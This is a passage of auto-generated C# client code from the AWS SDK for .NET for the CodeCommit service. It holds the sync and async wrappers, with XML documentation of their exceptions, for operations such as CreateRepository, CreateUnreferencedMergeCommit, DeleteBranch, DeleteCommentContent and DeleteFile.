default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = CreatePullRequestRequestMarshaller.Instance; options.ResponseUnmarshaller = CreatePullRequestResponseUnmarshaller.Instance; return InvokeAsync<CreatePullRequestResponse>(request, options, cancellationToken); } #endregion #region CreateRepository /// <summary> /// Creates a new, empty repository. /// </summary> /// <param name="request">Container for the necessary parameters to execute the CreateRepository service method.</param> /// /// <returns>The response from the CreateRepository service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryDescriptionException"> /// The specified repository description is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidSystemTagUsageException"> /// The specified tag is not valid. Key names cannot be prefixed with aws:. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidTagsMapException"> /// The map of tags is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryLimitExceededException"> /// A repository resource limit was exceeded. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameExistsException"> /// The specified repository name already exists. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TagPolicyException"> /// The tag policy is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TooManyTagsException"> /// The maximum number of tags for an AWS CodeCommit resource has been exceeded. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CreateRepository">REST API Reference for CreateRepository Operation</seealso> public virtual CreateRepositoryResponse CreateRepository(CreateRepositoryRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = CreateRepositoryRequestMarshaller.Instance; options.ResponseUnmarshaller = CreateRepositoryResponseUnmarshaller.Instance; return Invoke<CreateRepositoryResponse>(request, options); } /// <summary> /// Creates a new, empty repository. /// </summary> /// <param name="request">Container for the necessary parameters to execute the CreateRepository service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the CreateRepository service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryDescriptionException"> /// The specified repository description is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidSystemTagUsageException"> /// The specified tag is not valid. Key names cannot be prefixed with aws:. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidTagsMapException"> /// The map of tags is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryLimitExceededException"> /// A repository resource limit was exceeded. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameExistsException"> /// The specified repository name already exists. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TagPolicyException"> /// The tag policy is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TooManyTagsException"> /// The maximum number of tags for an AWS CodeCommit resource has been exceeded. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CreateRepository">REST API Reference for CreateRepository Operation</seealso> public virtual Task<CreateRepositoryResponse> CreateRepositoryAsync(CreateRepositoryRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = CreateRepositoryRequestMarshaller.Instance; options.ResponseUnmarshaller = CreateRepositoryResponseUnmarshaller.Instance; return InvokeAsync<CreateRepositoryResponse>(request, options, cancellationToken); } #endregion #region CreateUnreferencedMergeCommit /// <summary> /// Creates an unreferenced commit that represents the result of merging two branches /// using a specified merge strategy. This can help you determine the outcome of a potential /// merge. This API cannot be used with the fast-forward merge strategy, as that strategy /// does not create a merge commit. /// /// <note> /// <para> /// This unreferenced merge commit can only be accessed using the GetCommit API or through /// git commands such as git fetch. To retrieve this commit, you must specify its commit /// ID or otherwise reference it. /// </para> /// </note> /// </summary> /// <param name="request">Container for the necessary parameters to execute the CreateUnreferencedMergeCommit service method.</param> /// /// <returns>The response from the CreateUnreferencedMergeCommit service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitMessageLengthExceededException"> /// The commit message is too long. Provide a shorter string. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitRequiredException"> /// A commit was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ConcurrentReferenceUpdateException"> /// The merge cannot be completed because the target branch has been modified. Another /// user might have modified the target branch while the merge was in progress. Wait a /// few minutes, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileContentSizeLimitExceededException"> /// The file cannot be added because it is too large. The maximum file size that can be /// added is 6 MB, and the combined file content change size is 7 MB. Consider making /// these changes using a Git client. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileModeRequiredException"> /// The commit cannot be created because a file mode is required to update mode permissions /// for an existing file, but no file mode has been specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FolderContentSizeLimitExceededException"> /// The commit cannot be created because at least one of the overall changes in the commit /// results in a folder whose contents exceed the limit of 6 MB. Either reduce the number /// and size of your changes, or split the changes across multiple folders. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitException"> /// The specified commit is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictDetailLevelException"> /// The specified conflict detail level is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionException"> /// The specified conflict resolution list is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionStrategyException"> /// The specified conflict resolution strategy is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidEmailException"> /// The specified email address either contains one or more characters that are not allowed, /// or it exceeds the maximum number of characters allowed for an email address. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidFileModeException"> /// The specified file mode permission is not valid. For a list of valid file mode permissions, /// see <a>PutFile</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidMergeOptionException"> /// The specified merge option is not valid for this operation. Not all merge strategies /// are supported for all operations. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPathException"> /// The specified path is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidReplacementContentException"> /// Automerge was specified for resolving the conflict, but the replacement type is not /// valid or content is missing. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidReplacementTypeException"> /// Automerge was specified for resolving the conflict, but the specified replacement /// type is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ManualMergeRequiredException"> /// The pull request cannot be merged automatically into the destination branch. You must /// manually merge the branches and resolve any conflicts. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumConflictResolutionEntriesExceededException"> /// The number of allowed conflict resolution entries was exceeded. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumFileContentToLoadExceededException"> /// The number of files to load exceeds the allowed limit. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumItemsToCompareExceededException"> /// The maximum number of items to compare between the source or destination branches /// and the merge base has exceeded the maximum allowed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MergeOptionRequiredException"> /// A merge option or stategy is required, and none was provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MultipleConflictResolutionEntriesException"> /// More than one conflict resolution entries exists for the conflict. A conflict can /// have only one conflict resolution entry. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.NameLengthExceededException"> /// The user name is not valid because it has exceeded the character limit for author /// names. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathRequiredException"> /// The folderPath for a location cannot be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ReplacementContentRequiredException"> /// USE_NEW_CONTENT was specified but no replacement content has been provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ReplacementTypeRequiredException"> /// A replacement type is required. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TipsDivergenceExceededException"> /// The divergence between the tips of the provided commit specifiers is too great to /// determine whether there might be any merge conflicts. Locally compare the specifiers /// using <code>git diff</code> or a diff tool. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CreateUnreferencedMergeCommit">REST API Reference for CreateUnreferencedMergeCommit Operation</seealso> public virtual CreateUnreferencedMergeCommitResponse CreateUnreferencedMergeCommit(CreateUnreferencedMergeCommitRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = CreateUnreferencedMergeCommitRequestMarshaller.Instance; options.ResponseUnmarshaller = CreateUnreferencedMergeCommitResponseUnmarshaller.Instance; return Invoke<CreateUnreferencedMergeCommitResponse>(request, options); } /// <summary> /// Creates an unreferenced commit that represents the result of merging two branches /// using a specified merge strategy. This can help you determine the outcome of a potential /// merge. This API cannot be used with the fast-forward merge strategy, as that strategy /// does not create a merge commit. /// /// <note> /// <para> /// This unreferenced merge commit can only be accessed using the GetCommit API or through /// git commands such as git fetch. To retrieve this commit, you must specify its commit /// ID or otherwise reference it. /// </para> /// </note> /// </summary> /// <param name="request">Container for the necessary parameters to execute the CreateUnreferencedMergeCommit service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the CreateUnreferencedMergeCommit service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitMessageLengthExceededException"> /// The commit message is too long. Provide a shorter string. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitRequiredException"> /// A commit was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ConcurrentReferenceUpdateException"> /// The merge cannot be completed because the target branch has been modified. Another /// user might have modified the target branch while the merge was in progress. Wait a /// few minutes, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileContentSizeLimitExceededException"> /// The file cannot be added because it is too large. The maximum file size that can be /// added is 6 MB, and the combined file content change size is 7 MB. Consider making /// these changes using a Git client. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileModeRequiredException"> /// The commit cannot be created because a file mode is required to update mode permissions /// for an existing file, but no file mode has been specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FolderContentSizeLimitExceededException"> /// The commit cannot be created because at least one of the overall changes in the commit /// results in a folder whose contents exceed the limit of 6 MB. Either reduce the number /// and size of your changes, or split the changes across multiple folders. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitException"> /// The specified commit is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictDetailLevelException"> /// The specified conflict detail level is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionException"> /// The specified conflict resolution list is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionStrategyException"> /// The specified conflict resolution strategy is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidEmailException"> /// The specified email address either contains one or more characters that are not allowed, /// or it exceeds the maximum number of characters allowed for an email address. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidFileModeException"> /// The specified file mode permission is not valid. For a list of valid file mode permissions, /// see <a>PutFile</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidMergeOptionException"> /// The specified merge option is not valid for this operation. Not all merge strategies /// are supported for all operations. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPathException"> /// The specified path is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidReplacementContentException"> /// Automerge was specified for resolving the conflict, but the replacement type is not /// valid or content is missing. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidReplacementTypeException"> /// Automerge was specified for resolving the conflict, but the specified replacement /// type is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ManualMergeRequiredException"> /// The pull request cannot be merged automatically into the destination branch. You must /// manually merge the branches and resolve any conflicts. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumConflictResolutionEntriesExceededException"> /// The number of allowed conflict resolution entries was exceeded. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumFileContentToLoadExceededException"> /// The number of files to load exceeds the allowed limit. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumItemsToCompareExceededException"> /// The maximum number of items to compare between the source or destination branches /// and the merge base has exceeded the maximum allowed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MergeOptionRequiredException"> /// A merge option or stategy is required, and none was provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MultipleConflictResolutionEntriesException"> /// More than one conflict resolution entries exists for the conflict. A conflict can /// have only one conflict resolution entry. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.NameLengthExceededException"> /// The user name is not valid because it has exceeded the character limit for author /// names. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathRequiredException"> /// The folderPath for a location cannot be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ReplacementContentRequiredException"> /// USE_NEW_CONTENT was specified but no replacement content has been provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ReplacementTypeRequiredException"> /// A replacement type is required. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TipsDivergenceExceededException"> /// The divergence between the tips of the provided commit specifiers is too great to /// determine whether there might be any merge conflicts. Locally compare the specifiers /// using <code>git diff</code> or a diff tool. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/CreateUnreferencedMergeCommit">REST API Reference for CreateUnreferencedMergeCommit Operation</seealso> public virtual Task<CreateUnreferencedMergeCommitResponse> CreateUnreferencedMergeCommitAsync(CreateUnreferencedMergeCommitRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = CreateUnreferencedMergeCommitRequestMarshaller.Instance; options.ResponseUnmarshaller = CreateUnreferencedMergeCommitResponseUnmarshaller.Instance; return InvokeAsync<CreateUnreferencedMergeCommitResponse>(request, options, cancellationToken); } #endregion #region DeleteBranch /// <summary> /// Deletes a branch from a repository, unless that branch is the default branch for the /// repository. /// </summary> /// <param name="request">Container for the necessary parameters to execute the DeleteBranch service method.</param> /// /// <returns>The response from the DeleteBranch service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.BranchNameRequiredException"> /// A branch name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.DefaultBranchCannotBeDeletedException"> /// The specified branch is the default branch for the repository, and cannot be deleted. /// To delete this branch, you must first set another branch as the default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidBranchNameException"> /// The specified reference name is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DeleteBranch">REST API Reference for DeleteBranch Operation</seealso> public virtual DeleteBranchResponse DeleteBranch(DeleteBranchRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = DeleteBranchRequestMarshaller.Instance; options.ResponseUnmarshaller = DeleteBranchResponseUnmarshaller.Instance; return Invoke<DeleteBranchResponse>(request, options); } /// <summary> /// Deletes a branch from a repository, unless that branch is the default branch for the /// repository. /// </summary> /// <param name="request">Container for the necessary parameters to execute the DeleteBranch service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the DeleteBranch service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.BranchNameRequiredException"> /// A branch name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.DefaultBranchCannotBeDeletedException"> /// The specified branch is the default branch for the repository, and cannot be deleted. /// To delete this branch, you must first set another branch as the default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidBranchNameException"> /// The specified reference name is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DeleteBranch">REST API Reference for DeleteBranch Operation</seealso> public virtual Task<DeleteBranchResponse> DeleteBranchAsync(DeleteBranchRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = DeleteBranchRequestMarshaller.Instance; options.ResponseUnmarshaller = DeleteBranchResponseUnmarshaller.Instance; return InvokeAsync<DeleteBranchResponse>(request, options, cancellationToken); } #endregion #region DeleteCommentContent /// <summary> /// Deletes the content of a comment made on a change, file, or commit in a repository. /// </summary> /// <param name="request">Container for the necessary parameters to execute the DeleteCommentContent service method.</param> /// /// <returns>The response from the DeleteCommentContent service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommentDeletedException"> /// This comment has already been deleted. You cannot edit or delete a deleted comment. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentDoesNotExistException"> /// No comment exists with the provided ID. Verify that you have provided the correct /// ID, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentIdRequiredException"> /// The comment ID is missing or null. A comment ID is required. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommentIdException"> /// The comment ID is not in a valid format. Make sure that you have provided the full /// comment ID. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DeleteCommentContent">REST API Reference for DeleteCommentContent Operation</seealso> public virtual DeleteCommentContentResponse DeleteCommentContent(DeleteCommentContentRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = DeleteCommentContentRequestMarshaller.Instance; options.ResponseUnmarshaller = DeleteCommentContentResponseUnmarshaller.Instance; return Invoke<DeleteCommentContentResponse>(request, options); } /// <summary> /// Deletes the content of a comment made on a change, file, or commit in a repository. /// </summary> /// <param name="request">Container for the necessary parameters to execute the DeleteCommentContent service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the DeleteCommentContent service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommentDeletedException"> /// This comment has already been deleted. You cannot edit or delete a deleted comment. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentDoesNotExistException"> /// No comment exists with the provided ID. Verify that you have provided the correct /// ID, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommentIdRequiredException"> /// The comment ID is missing or null. A comment ID is required. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommentIdException"> /// The comment ID is not in a valid format. Make sure that you have provided the full /// comment ID. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DeleteCommentContent">REST API Reference for DeleteCommentContent Operation</seealso> public virtual Task<DeleteCommentContentResponse> DeleteCommentContentAsync(DeleteCommentContentRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = DeleteCommentContentRequestMarshaller.Instance; options.ResponseUnmarshaller = DeleteCommentContentResponseUnmarshaller.Instance; return InvokeAsync<DeleteCommentContentResponse>(request, options, cancellationToken); } #endregion #region DeleteFile /// <summary> /// Deletes a specified file from a specified branch. A commit is created on the branch /// that contains the revision. The file will still exist in the commits prior to the /// commit that contains the deletion. /// </summary> /// <param name="request">Container for the necessary parameters to execute the DeleteFile service method.</param> /// /// <returns>The response from the DeleteFile service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.BranchDoesNotExistException"> /// The specified branch does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameIsTagNameException"> /// The specified branch name is not valid because it is a tag name. Type the name of /// a current branch in the repository. For a list of valid branch names, use <a>ListBranches</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameRequiredException"> /// A branch name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitMessageLengthExceededException"> /// The commit message is too long. Provide a shorter string. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileDoesNotExistException"> /// The specified file does not exist. Verify that you have provided the correct name /// of the file, including its full path and extension. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidBranchNameException"> /// The specified reference name is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidEmailException"> /// The specified email address either contains one or more characters that are not allowed, /// or it exceeds the maximum number of characters allowed for an email address. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidParentCommitIdException"> /// The parent commit ID is not valid. The commit ID cannot be empty, and must match the /// head commit ID for the branch of the repository where you want to add or update a /// file. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPathException"> /// The specified path is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.NameLengthExceededException"> /// The user name is not valid because it has exceeded the character limit for author /// names. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ParentCommitDoesNotExistException"> /// The parent commit ID is not valid because it does not exist. The specified parent /// commit ID does not exist in the specified branch of the repository. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ParentCommitIdOutdatedException"> /// The file could not be added because the provided parent commit ID is not the current /// tip of the specified branch. To view the full commit ID of the current head of the /// branch, use <a>GetBranch</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ParentCommitIdRequiredException"> /// A parent commit ID is required. To view the full commit ID of a branch in a repository, /// use <a>GetBranch</a> or a Git command (for example, git pull or git log). /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathRequiredException"> /// The folderPath for a location cannot be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DeleteFile">REST API Reference for DeleteFile Operation</seealso> public virtual DeleteFileResponse DeleteFile(DeleteFileRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = DeleteFileRequestMarshaller.Instance; options.ResponseUnmarshaller = DeleteFileResponseUnmarshaller.Instance; return Invoke<DeleteFileResponse>(request, options); } /// <summary> /// Deletes a specified file from a specified branch. A commit is created on the branch /// that contains the revision. The file will still exist in the commits prior to the /// commit that contains the deletion. /// </summary> /// <param name="request">Container for the necessary parameters to execute the DeleteFile service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the DeleteFile service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.BranchDoesNotExistException"> /// The specified branch does not exist. /// </exception> /// <exception 